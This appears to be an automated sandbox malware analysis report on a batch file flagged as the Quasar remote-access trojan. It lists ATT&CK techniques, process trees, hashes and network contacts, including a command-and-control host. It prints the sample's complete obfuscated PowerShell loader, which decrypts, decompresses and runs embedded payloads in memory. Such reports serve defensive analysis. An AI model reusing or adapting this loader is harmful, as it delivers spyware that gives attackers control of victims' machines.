Malware Analysis Report

2024-08-06 11:11

Sample ID 240614-tkm4nsxfkg
Target WiKxtRl.bat
SHA256 2f878f17890e54a4592aa7b9cd78f5b8d44e0254cf85744d94590200bed8d125
Tags
quasar home execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2f878f17890e54a4592aa7b9cd78f5b8d44e0254cf85744d94590200bed8d125

Threat Level: Known bad

The file WiKxtRl.bat was found to be: Known bad.

Malicious Activity Summary

quasar home execution spyware trojan

Quasar payload

Quasar RAT

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Looks up external IP address via web service

Program crash

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Runs ping.exe

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Remote System Discovery
T1018
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 16:07

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 16:07

Reported

2024-06-14 16:12

Platform

win10-20240404-en

Max time kernel

195s

Max time network

299s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4296 wrote to memory of 4408 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4296 wrote to memory of 4408 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4296 wrote to memory of 4408 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4408 wrote to memory of 1780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4408 wrote to memory of 1780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4408 wrote to memory of 1780 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1780 wrote to memory of 3480 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\chcp.com
PID 1780 wrote to memory of 3480 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\chcp.com
PID 1780 wrote to memory of 3480 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\chcp.com
PID 1780 wrote to memory of 4648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1780 wrote to memory of 4648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1780 wrote to memory of 4648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BiJkRz5NLnyrmEvcrNKNN2n/+U317Jums9TdEe+oIqA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XChExx/HLqzULqa7bNx00g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Xpngt=New-Object System.IO.MemoryStream(,$param_var); $icfSz=New-Object System.IO.MemoryStream; $ycFeS=New-Object System.IO.Compression.GZipStream($Xpngt, [IO.Compression.CompressionMode]::Decompress); $ycFeS.CopyTo($icfSz); $ycFeS.Dispose(); $Xpngt.Dispose(); $icfSz.Dispose(); $icfSz.ToArray();}function execute_function($param_var,$param2_var){ $JcJYG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ChnnI=$JcJYG.EntryPoint; $ChnnI.Invoke($null, $param2_var);}$NlJYy = 'C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat';$host.UI.RawUI.WindowTitle = $NlJYy;$FnwhD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NlJYy).Split([Environment]::NewLine);foreach ($YIwJb in $FnwhD) { if ($YIwJb.StartsWith(':: ')) { $ZiMPy=$YIwJb.Substring(3); break; }}$payloads_var=[string[]]$ZiMPy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LtYpwpn6UUqB.bat" "

C:\Windows\SysWOW64\chcp.com

chcp 65001

C:\Windows\SysWOW64\PING.EXE

ping -n 10 localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 runderscore00-37568.portmap.host udp
DE 193.161.193.99:37568 runderscore00-37568.portmap.host tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 99.193.161.193.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 174.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 210.131.50.23.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp

Files

memory/4408-0-0x00000000735FE000-0x00000000735FF000-memory.dmp

memory/4408-3-0x0000000006E10000-0x0000000006E46000-memory.dmp

memory/4408-4-0x00000000735F0000-0x0000000073CDE000-memory.dmp

memory/4408-5-0x0000000007560000-0x0000000007B88000-memory.dmp

memory/4408-6-0x00000000735F0000-0x0000000073CDE000-memory.dmp

memory/4408-7-0x00000000074F0000-0x0000000007512000-memory.dmp

memory/4408-8-0x0000000007C00000-0x0000000007C66000-memory.dmp

memory/4408-9-0x0000000007E50000-0x0000000007EB6000-memory.dmp

memory/4408-10-0x0000000007EC0000-0x0000000008210000-memory.dmp

memory/4408-13-0x0000000007CB0000-0x0000000007CCC000-memory.dmp

memory/4408-14-0x00000000087C0000-0x000000000880B000-memory.dmp

memory/4408-15-0x00000000084F0000-0x0000000008566000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmexlbii.2h2.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/4408-26-0x00000000735F0000-0x0000000073CDE000-memory.dmp

memory/4408-31-0x0000000009DB0000-0x000000000A428000-memory.dmp

memory/4408-32-0x0000000009530000-0x000000000954A000-memory.dmp

memory/4408-33-0x0000000009570000-0x0000000009578000-memory.dmp

memory/4408-34-0x0000000009640000-0x00000000096DC000-memory.dmp

memory/4408-35-0x0000000009750000-0x0000000009784000-memory.dmp

memory/4408-36-0x0000000009830000-0x000000000988E000-memory.dmp

memory/4408-37-0x000000000A430000-0x000000000A92E000-memory.dmp

memory/4408-38-0x0000000009970000-0x0000000009A02000-memory.dmp

memory/4408-39-0x0000000007110000-0x0000000007122000-memory.dmp

memory/4408-40-0x0000000009A10000-0x0000000009A4E000-memory.dmp

memory/4408-44-0x0000000009D80000-0x0000000009D8A000-memory.dmp

memory/4408-46-0x00000000735FE000-0x00000000735FF000-memory.dmp

memory/4408-47-0x00000000735F0000-0x0000000073CDE000-memory.dmp

memory/4408-48-0x00000000735F0000-0x0000000073CDE000-memory.dmp

memory/4408-49-0x00000000735F0000-0x0000000073CDE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\LtYpwpn6UUqB.bat

MD5 97fcb5e52fd298faa4d9f2cc1072f04f
SHA1 ff340234bcca20bf6adb7d3495d123271a23c419
SHA256 3ea0e36c3f1dc14e1b8ca5a87dd7b8199b2b1e1bba5048eb5b20847826ac0607
SHA512 f9ccb47b3279ae8c82bf3fd806d64ddffba993661b0f04263c1683b6dd61963b805916ea3039936998981d2efe686904938480e439052acb314206e299badfcc

memory/4408-63-0x00000000735F0000-0x0000000073CDE000-memory.dmp

C:\Users\Admin\AppData\Roaming\$sxr-Logs\06-14-~1

MD5 05212a73717f5c10227214c901117e57
SHA1 4350277ad82124de0b07a99ac8d82c9f947f0dbe
SHA256 68a9096ec307c2b583771cdc08fdd7165721ea668f7dab83927314af4710d35a
SHA512 1f8f094f244d490ec2b01da162ccc98968f42107a60a3cbb067846151ad78170d108dae24d51157ac6406f457ef5b049786be7620bd4c2c8fd277d8978f3da58

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 16:07

Reported

2024-06-14 16:12

Platform

win10v2004-20240508-en

Max time kernel

262s

Max time network

271s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A
N/A ip-api.com N/A N/A

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3344 wrote to memory of 1520 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3344 wrote to memory of 1520 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3344 wrote to memory of 1520 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BiJkRz5NLnyrmEvcrNKNN2n/+U317Jums9TdEe+oIqA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XChExx/HLqzULqa7bNx00g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Xpngt=New-Object System.IO.MemoryStream(,$param_var); $icfSz=New-Object System.IO.MemoryStream; $ycFeS=New-Object System.IO.Compression.GZipStream($Xpngt, [IO.Compression.CompressionMode]::Decompress); $ycFeS.CopyTo($icfSz); $ycFeS.Dispose(); $Xpngt.Dispose(); $icfSz.Dispose(); $icfSz.ToArray();}function execute_function($param_var,$param2_var){ $JcJYG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ChnnI=$JcJYG.EntryPoint; $ChnnI.Invoke($null, $param2_var);}$NlJYy = 'C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat';$host.UI.RawUI.WindowTitle = $NlJYy;$FnwhD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NlJYy).Split([Environment]::NewLine);foreach ($YIwJb in $FnwhD) { if ($YIwJb.StartsWith(':: ')) { $ZiMPy=$YIwJb.Substring(3); break; }}$payloads_var=[string[]]$ZiMPy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1520 -ip 1520

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1520 -s 2700

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1520 -ip 1520

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1520 -s 2700

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 8.8.8.8:53 freegeoip.net udp
US 8.8.8.8:53 api.ipify.org udp

Files

memory/1520-0-0x00000000751AE000-0x00000000751AF000-memory.dmp

memory/1520-1-0x0000000005140000-0x0000000005176000-memory.dmp

memory/1520-2-0x00000000751A0000-0x0000000075950000-memory.dmp

memory/1520-3-0x00000000057E0000-0x0000000005E08000-memory.dmp

memory/1520-4-0x0000000005E40000-0x0000000005E62000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_emf5awxh.30v.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1520-6-0x0000000006050000-0x00000000060B6000-memory.dmp

memory/1520-5-0x0000000005FE0000-0x0000000006046000-memory.dmp

memory/1520-16-0x00000000060C0000-0x0000000006414000-memory.dmp

memory/1520-17-0x00000000065A0000-0x00000000065BE000-memory.dmp

memory/1520-18-0x00000000065E0000-0x000000000662C000-memory.dmp

memory/1520-19-0x0000000007DA0000-0x000000000841A000-memory.dmp

memory/1520-20-0x0000000007740000-0x000000000775A000-memory.dmp

memory/1520-21-0x0000000007770000-0x0000000007778000-memory.dmp

memory/1520-22-0x0000000007870000-0x000000000790C000-memory.dmp

memory/1520-23-0x00000000079B0000-0x00000000079E4000-memory.dmp

memory/1520-24-0x00000000079E0000-0x0000000007A3E000-memory.dmp

memory/1520-25-0x00000000089D0000-0x0000000008F74000-memory.dmp

memory/1520-26-0x0000000007B40000-0x0000000007BD2000-memory.dmp

memory/1520-27-0x0000000005420000-0x0000000005432000-memory.dmp

memory/1520-29-0x00000000751AE000-0x00000000751AF000-memory.dmp

memory/1520-30-0x00000000751A0000-0x0000000075950000-memory.dmp

memory/1520-31-0x00000000751A0000-0x0000000075950000-memory.dmp

memory/1520-33-0x00000000751A0000-0x0000000075950000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-14 16:07

Reported

2024-06-14 16:12

Platform

win11-20240508-en

Max time kernel

42s

Max time network

52s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A api.ipify.org N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1960 wrote to memory of 864 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 864 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1960 wrote to memory of 864 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BiJkRz5NLnyrmEvcrNKNN2n/+U317Jums9TdEe+oIqA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XChExx/HLqzULqa7bNx00g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Xpngt=New-Object System.IO.MemoryStream(,$param_var); $icfSz=New-Object System.IO.MemoryStream; $ycFeS=New-Object System.IO.Compression.GZipStream($Xpngt, [IO.Compression.CompressionMode]::Decompress); $ycFeS.CopyTo($icfSz); $ycFeS.Dispose(); $Xpngt.Dispose(); $icfSz.Dispose(); $icfSz.ToArray();}function execute_function($param_var,$param2_var){ $JcJYG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ChnnI=$JcJYG.EntryPoint; $ChnnI.Invoke($null, $param2_var);}$NlJYy = 'C:\Users\Admin\AppData\Local\Temp\WiKxtRl.bat';$host.UI.RawUI.WindowTitle = $NlJYy;$FnwhD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NlJYy).Split([Environment]::NewLine);foreach ($YIwJb in $FnwhD) { if ($YIwJb.StartsWith(':: ')) { $ZiMPy=$YIwJb.Substring(3); break; }}$payloads_var=[string[]]$ZiMPy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 freegeoip.net udp
US 8.8.8.8:53 api.ipify.org udp

Files

memory/864-0-0x00000000743DE000-0x00000000743DF000-memory.dmp

memory/864-1-0x00000000048F0000-0x0000000004926000-memory.dmp

memory/864-2-0x0000000005010000-0x000000000563A000-memory.dmp

memory/864-3-0x00000000743D0000-0x0000000074B81000-memory.dmp

memory/864-4-0x00000000743D0000-0x0000000074B81000-memory.dmp

memory/864-5-0x0000000004EB0000-0x0000000004ED2000-memory.dmp

memory/864-6-0x00000000056B0000-0x0000000005716000-memory.dmp

memory/864-7-0x0000000005720000-0x0000000005786000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mn0x0x2e.eml.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/864-16-0x0000000005790000-0x0000000005AE7000-memory.dmp

memory/864-17-0x0000000005C90000-0x0000000005CAE000-memory.dmp

memory/864-18-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

memory/864-19-0x0000000007480000-0x0000000007AFA000-memory.dmp

memory/864-20-0x0000000006E00000-0x0000000006E1A000-memory.dmp

memory/864-21-0x0000000006E40000-0x0000000006E48000-memory.dmp

memory/864-22-0x0000000006F20000-0x0000000006FBC000-memory.dmp

memory/864-23-0x0000000007050000-0x0000000007084000-memory.dmp

memory/864-24-0x0000000007080000-0x00000000070DE000-memory.dmp

memory/864-25-0x00000000080B0000-0x0000000008656000-memory.dmp

memory/864-26-0x0000000007200000-0x0000000007292000-memory.dmp

memory/864-27-0x0000000004BD0000-0x0000000004BE2000-memory.dmp

memory/864-29-0x00000000743DE000-0x00000000743DF000-memory.dmp

memory/864-30-0x00000000743D0000-0x0000000074B81000-memory.dmp

memory/864-31-0x00000000743D0000-0x0000000074B81000-memory.dmp

memory/864-33-0x0000000007CB0000-0x0000000007CBA000-memory.dmp

memory/864-34-0x00000000743D0000-0x0000000074B81000-memory.dmp

memory/864-37-0x00000000743D0000-0x0000000074B81000-memory.dmp